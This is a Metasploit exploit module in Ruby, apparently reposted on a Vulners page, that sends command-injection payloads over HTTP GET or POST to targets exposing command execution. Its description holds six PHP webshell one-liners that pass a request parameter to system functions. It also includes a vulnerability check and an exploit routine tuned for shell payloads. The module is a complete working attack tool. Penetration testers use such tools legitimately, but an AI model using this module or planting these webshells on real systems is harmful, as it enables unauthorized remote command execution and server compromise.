##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Generic HTTP Command Execution',
'Description' => %q{
This module interacts with existing command execution functionality on a target system,
where user-supplied input is directly passed to system execution functions via a HTTP request.
This could be from an existing vulnerability, or uploaded webshells such as:
<?php passthru($_REQUEST['cmd']); ?>
<?php system($_REQUEST['cmd']); ?>
<?php echo exec($_REQUEST['cmd']); ?>
<?php echo shell_exec($_REQUEST['cmd']); ?>
<?php echo fread(popen($_REQUEST['cmd'], 'r'), 2096); ?>
<?php echo `{$_REQUEST['cmd']}`; ?>
It is likely that HTTP evasion options will break this exploit.
},
'Privileged' => false,
'Payload' => {
'DisableNops' => true,
'BadChars' => '&;' # `&` = GET `;` = POST
},
'Arch' => ARCH_CMD,
'Targets' => [
[
'Linux', {
'Platform' => 'linux'
}
],
[
'Unix', {
'Platform' => 'unix'
}
],
[
'Windows', {
'Platform' => 'win'
}
],
[
'macOS/OSX', {
'Platform' => 'osx'
}
]
],
'DefaultTarget' => 0,
'Author' => [
'egypt', # Original Metasploit module: exploits/unix/webapp/php_eval
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2026-02-26',
'References' => [],
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
OptString.new('POSTDATA', [false, 'POST data to send, with the command injection placeholder set to !INJECT!. Otherwise, a GET request will be used.']),
OptString.new('URIPATH', [true, 'The URI to request, with the command injection placeholder set to !INJECT!.', '/ping/?cmd=!INJECT!']),
OptString.new('HEADERS', [false, 'Any additional HTTP headers to send, cookies for example. Format: "header=value,header2=value2"'])
]
)
end
def datastore_headers
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ''
headers_hash = {}
if headers && !headers.empty?
headers.split(',').each do |header|
next if header.nil? || header.empty?
key, value = header.split('=', 2)
next if key.nil? || value.nil?
key = key.strip
value = value.strip
next if key.empty? || value.empty?
headers_hash[key] = value
end
end
headers_hash
end
def send_request(method, uri, data, timeout = 30)
feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{rhost}:#{rport}#{uri}"
feedback_text << " -> #{data}" unless method.casecmp?('get')
print_status(feedback_text)
req = {
'global' => true,
'uri' => uri,
'method' => method,
'headers' => datastore_headers.merge(
'Connection' => 'close'
)
}
unless method.casecmp?('get')
req['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
req['data'] = data
end
send_request_raw(req, timeout)
end
def check
method = datastore['POSTDATA'] ? 'POST' : 'GET'
content = rand_text_alphanumeric(rand(16..31))
payload = Rex::Text.uri_encode("echo #{content}")
uri = datastore['URIPATH'].sub('!INJECT!', payload)
data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload)
response = send_request(method, uri, data)
return Exploit::CheckCode::Unknown('Could not connect to the target') unless response
return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') if response.code == 200 && response.body.match(content)
return Exploit::CheckCode::Detected('The target service was detected') if response.code == 200
vprint_error("Server responded with: HTTP #{response.code}")
return Exploit::CheckCode::Safe('Unexpected HTTP status code received')
end
def exploit
method = datastore['POSTDATA'] ? 'POST' : 'GET'
uri = datastore['URIPATH'].sub('!INJECT!', Rex::Text.uri_encode(payload.encoded))
data = method.casecmp?('get') ? nil : datastore['POSTDATA'].sub('!INJECT!', payload.encoded)
# Very short timeout because the request may never return if we're sending a socket payload
timeout = 0.01
response = send_request(method, uri, data, timeout)
vprint_warning("Server responded with: HTTP #{response.code}") if response && response.code != 200
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation